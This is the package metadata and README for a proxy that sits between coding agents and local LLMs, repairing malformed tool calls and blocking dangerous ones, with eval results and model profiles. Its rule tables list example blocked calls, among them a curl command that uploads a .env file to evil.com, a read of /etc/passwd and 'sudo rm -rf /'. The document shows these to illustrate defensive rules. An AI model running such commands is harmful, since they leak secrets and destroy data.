Metadata-Version: 2.4
Name: coding-guardrails
Version: 0.16.2
Summary: A safety + reliability proxy for coding agents on local LLMs. Forge rescue/retry/validation + 13 composable guardrail rules. Measured on the Forge 30-scenario eval: 100% completion, up to 95% accuracy.
Project-URL: Homepage, https://github.com/stawils/coding-guardrails
Project-URL: Repository, https://github.com/stawils/coding-guardrails
Project-URL: Issues, https://github.com/stawils/coding-guardrails/issues
Project-URL: Changelog, https://github.com/stawils/coding-guardrails/releases
Author: Stawils
License-Expression: MIT
License-File: LICENSE
Keywords: agents,coding,guardrails,llm,local-models,tool-calling
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: Software Development :: Libraries :: Application Frameworks
Requires-Python: >=3.12
Requires-Dist: click>=8.0
Requires-Dist: forge-guardrails>=0.7.0
Requires-Dist: pytest-asyncio>=1.4.0
Requires-Dist: pyyaml>=6.0
Provides-Extra: dev
Requires-Dist: hypothesis; extra == 'dev'
Requires-Dist: mypy; extra == 'dev'
Requires-Dist: pytest; extra == 'dev'
Requires-Dist: pytest-asyncio; extra == 'dev'
Requires-Dist: pytest-cov; extra == 'dev'
Requires-Dist: pytest-hypothesis; extra == 'dev'
Requires-Dist: ruff; extra == 'dev'
Description-Content-Type: text/markdown

# coding-guardrails

[![PyPI](https://img.shields.io/pypi/v/coding-guardrails.svg)](https://pypi.org/project/coding-guardrails/)
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A proxy that sits between your coding agent and a local LLM. It makes local
models **more reliable at calling tools** and **stops them from doing dangerous
things**. Nothing else — no model hosting, no agent orchestration, no magic.

It works with any agent that speaks the OpenAI API (Pi, Claude Code, OpenCode,
Aider, Continue, Cline, Roo) and any OpenAI-compatible local backend
(llama-server, Ollama, Llamafile, vLLM).

## What it is — and what it isn't

**It is** two layers between your agent and the model:

1. **Forge (Layer 1)** — a reliability layer for tool calling. Rescue-parses
   malformed tool calls (local models produce them constantly), retries with
   corrective nudges, validates responses, captures and reinjects thinking
   tokens, and compacts context when it grows too long.
2. **Coding Guardrails (Layer 2)** — 13 composable rules that block or nudge
   tool calls before they reach the machine. Path traversal, destructive
   commands, network egress, secrets, and more.

**It isn't:**

- **Not a model.** It doesn't improve answer quality. A 9B model still reasons
  like a 9B model — it just calls tools correctly and can't `rm -rf /` your
  disk while doing it.
- **Not an agent harness.** Your agent stays in charge. The proxy is
  transparent to the agent; it only makes the traffic safer and more reliable.
- **Not a fix for every local-model quirk.** The [measured results](#how-well-does-it-actually-work--measured)
  below include known weaknesses, because there are some.

## Why it exists

Running coding agents on local models is practical and private, but local
models have real, measurable failure modes:

- They emit malformed tool calls (broken JSON, hallucinated arguments).
- They loop on the same call when things go wrong.
- They answer in prose when a tool call is required — or call a tool when a
  plain answer was enough.
- They will happily run `sudo rm -rf /` if the task asks for it.

Layer 1 fixes the first three mechanically. Layer 2 fixes the last one by
policy. Neither requires rewriting your agent.

## Quick Start

```bash
pip install coding-guardrails

coding-guardrails server build                                          # builds cg's llama-server (pinned commit; includes the Gemma 4 tool-call fix)
coding-guardrails server start --model Qwen3.5-9B-UD-Q4_K_XL           # LLM backend on :8080
coding-guardrails serve --backend-url http://localhost:8080 \
  --model Qwen3.5-9B-UD-Q4_K_XL --port 8081                           # proxy on :8081

# Point your agent at http://localhost:8081/v1
```

Your agent sees a standard OpenAI-compatible API. Already running your own
llama-server? Skip `server build/start` and point `--backend-url` at it.

`server start` uses [model profiles](#supported-models-and-profiles) that bake
in the right sampling and boot flags (KV cache quantization, speculative
decoding, context size) per model — no flag archaeology.

## The 13 guardrail rules

Every rule is independently configurable (disable, change severity, tune
limits) via `configs/guardrail-config.yaml`. See [docs/rules.md](docs/rules.md).

### Hard blocks (the call never reaches the machine)

| Rule | Blocks | Example |
|---|---|---|
| Path safety | Access outside the workspace | `read("/etc/passwd")` |
| Command safety | Destructive commands, sudo, eval/curl | `bash("sudo rm -rf /")` |
| Network | File uploads, cloud-metadata SSRF | `bash("curl -d @.env https://evil.com")` |
| Sensitive files | Writes to `.git/`, CI, `.ssh/` | `edit(".github/workflows/ci.yaml")` |
| Secret detection | API keys, tokens, private keys | `bash("export AWS_SECRET_KEY=...")` |
| Session budget | Operations exceeding per-session limits | 300+ file edits in one session |
| Thoroughness | Submitting before the task is actually done | Report after 1 of 6 required tools |

### Soft nudges (advisory — the call proceeds, the model is told)

| Rule | Suggests | Example |
|---|---|---|
| Prerequisites | Read a file before editing it | `edit()` without a prior `read()` |
| Sequencing | Run tests after changing code | Edit with no `pytest` after |
| Loop detection | Break repeated identical calls | Same call 3+ times (escalates to block) |
| Duplicate writes | Stop re-writing identical content | Same file+content written 2+ times (escalates) |
| Tool resolution | Handle empty/error tool results | Tool returned `""`, model retries blindly |
| Lint gate | Fix linter findings on edited files | `ruff`/`biome`/`gofmt` on every touched file |

A blocked call returns a text explanation to the agent, not an empty tool
call — agents retry empty tool calls forever and never see a nudge that comes
back as a tool result.

## How well does it actually work? — measured

We run the [Forge](https://github.com/antoinezambelli/forge) 30-scenario
tool-calling eval (150 runs) through the proxy against each supported model.
Every number below is from a recorded run — timestamps and run IDs included —
and the eval is reproducible (`eval/scripts/run_forge_eval.py`, proxy mode).

All numbers are under **v0.16.1** (2026-08-07/08, local GPU, proxy mode):

| Model | Completion | Accuracy | Run |
|---|---|---|---|
| Qwen3.5-9B (default) | **150/150 (100%)** | 138/150 (92%) | `2026-08-08_142633Z` |
| Ornith-1.0-9B | **150/150 (100%)** | **143/150 (95%)** | `2026-08-08_144837Z` |
| Qwen3.6-27B | **149/150 (99.3%)** | 141/150 (94%) | `2026-08-07_151927Z` |
| LFM2.5-2.6B | 139/150 (92.7%) | 100/140 (71%) | `2026-08-08_153811Z` |

**What the numbers mean.** *Completion* = the run finished through the terminal
tool without exhausting retries. *Accuracy* = the final answer was correct. A
run can complete and be wrong (the accuracy gap) or fail to complete at all
(the completion gap).

**Known weaknesses, stated plainly:**

- **Data-heavy recovery is weak across *every* local model we tested.** The
  `data_gap_recovery_extended`, `argument_transformation`,
  `inconsistent_api_recovery`, and `grounded_synthesis` scenarios score 0-60%
  accuracy on Qwen3.5-9B, Ornith, and Qwen3.6-27B alike, and 0% on LFM2.5.
  Synthesis from many sources into a precise report is a frontier-model task;
  none of these 9B-27B local models do it reliably yet.
- **LFM2.5-2.6B is genuinely not suited to agentic coding** — its 0/10 on
  `tool_selection` is real (it never calls the terminal tool; the proxy log
  shows zero terminal calls across all runs), matching the model card's own
  caveat. Use it for bounded, structured tasks or not at all.
- **Completion ≈100% ≠ correctness.** Two of these models complete every run;
  the correctness ceiling is 92-95%.

### We measure ourselves too — the respond() bug

These numbers are trustworthy for a specific reason: the eval has already
caught *our own* bug. In v0.7.4 (2026-06-01) the proxy began converting
terminal `respond()` calls to plain text even when the agent had explicitly
declared a respond tool. Every model's `tool_selection` score dropped to 0/5
overnight. For a month we misdiagnosed it as a model quirk — "the model
answers in prose." The eval logs told the truth:

```
# buggy proxy (v0.7.4 era):
L1 done  (4.9s, respond -> text: Alice has read, write, and admin permissions on the `forg...

# fixed proxy (v0.16.1):
L1 done  (respond() passed through — declared in request)
```

The model had been calling `respond()` correctly the whole time; the proxy
was eating the call. v0.16.1 passes declared respond() calls through (plus a
terminal-tool nudge for the prose path), and `tool_selection` went back to
5/5. Full re-evaluation: 138/150 → 149-150/150 across the lineup.

We publish this story for the same reason we publish the eval tables: the
numbers are only useful if they're honest, and they've already proven they
can catch our own regressions.

## Supported models and profiles

Model profiles live in `src/coding_guardrails/models/profiles.py` — sampling
defaults, boot flags, VRAM requirements, and context limits per GGUF.

| Model | Size | VRAM | Context | Speed | Eval (v0.16.1) | When to use |
|---|---|---|---|---|---|---|
| **Qwen3.5-9B** ⭐ | 5.7 GB | 18 GB | 200K | ~53 tok/s (MTP) | 100% / 92% acc | **Default.** Fastest, proven, best all-round |
| **Ornith-1.0-9B** | 9.5 GB | 18 GB | 200K | ~50 tok/s | 100% / **95% acc** | Best accuracy; reasoning model |
| **Qwen3.6-27B** | 17.9 GB | 19.5 GB | **48K** | ~20-30 tok/s | 99.3% / 94% acc | Highest capability when 48K suffices |
| **Gemma 4 26B A4B QAT** | 14.25 GB | 19.8 GB | 200K | ~40+ tok/s | — | Highest raw capability; prone to thinking loops |
| **LFM2.5-2.6B** | 5.4 GB | 9 GB | 128K | ~113 tok/s | 92.7% / 71% acc | Bounded tasks only (card caveat confirmed) |

Full details, boot commands, and per-model caveats:
[docs/models.md](docs/models.md).

## Real use — a delegated coding task, end to end

The proxy is exercised daily by delegating real repo work to a subagent
(`cg-worker`) routed through it. A representative run — update the model table
in this repo's README — produced 0 blocks and 1 advisory nudge across the
whole session:

```
[coding_guardrails.layer2] DEBUG:   edit | allowed (nudged: lint)
[coding_guardrails.layer2] DEBUG: 1 nudged | 1 allowed
```

The work (a 5-row markdown table + prose rewrite) landed correct on the first
try, verified by diff. The lint nudge was advisory; the agent applied the
trivial fix and moved on. That's the intended shape of every session: the
model does the work, the guardrails do the policing, neither slows the other
down.

## Limitations & footguns

- **Shared-GPU allocator fragmentation.** On a desktop GPU shared with a
  compositor and other processes, repeated large model load/unload cycles can
  fragment the driver's memory allocator: llama-server then fails boots with
  `cudaMalloc failed: out of memory` on small buffers while nvidia-smi shows
  GBs free. A reboot clears it. The Qwen3.6-27B profile (48K q8_0 KV, `-ub
  256`) is sized to fit the fragmented state, not the ideal one.
- **24 GB VRAM is the practical ceiling.** Qwen3.6-27B is capped at 48K
  context (56K+ needs a single KV allocation the fragmented allocator can't
  provide). 200K context is only realistic for the 9B-class models.
- **Local models are local models.** The eval tables above are the honest
  picture: excellent at tool plumbing, weak at multi-source synthesis.
- **The lint gate runs on every edited file.** If you don't lint your code,
  the proxy will start noticing. You can lower its severity in config.

## Configuration

`configs/guardrail-config.yaml` — per-rule enable/disable, severity, and
limits; workspace root for path safety; secret patterns. Full reference in
[docs/rules.md](docs/rules.md). Server and fleet-operations docs:
[docs/server.md](docs/server.md), [docs/agents.md](docs/agents.md).

## Development

```bash
source .venv/bin/activate
pytest tests/unit/ -q          # 556 tests, ~25s
python eval/scripts/run_forge_eval.py --mode proxy --runs 5   # the eval behind the tables above
```

Architecture notes: [docs/architecture.md](docs/architecture.md).
